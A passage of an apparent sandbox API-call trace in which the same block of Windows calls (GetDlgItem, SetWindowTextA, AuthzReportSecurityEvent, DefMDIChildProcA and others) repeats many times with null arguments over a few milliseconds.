(hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.467] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.467] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.467] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.467] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.467] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.467] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.467] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.467] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.468] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.468] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.468] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.468] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.468] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.468] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.468] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.468] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.468] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.468] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.468] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.469] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.469] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.469] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.469] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.469] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.469] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.469] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.469] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.469] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.469] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.469] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.469] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.469] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.469] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.469] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.469] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.469] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.469] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.469] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.469] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.470] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.470] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.470] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.470] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.470] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.470] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.470] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.470] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.470] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.470] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.471] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.471] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.471] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.471] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.471] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.471] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.471] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.471] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.471] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.471] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.472] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.472] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.472] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.472] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.472] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.472] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.472] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.472] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.472] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.472] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.472] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.473] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.473] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.473] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.473] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.473] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.473] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.473] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.473] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.473] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.473] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.473] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.473] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.474] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.474] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.474] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.474] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.474] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.474] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.474] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.474] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.474] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.474] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.474] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.475] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.475] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.475] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 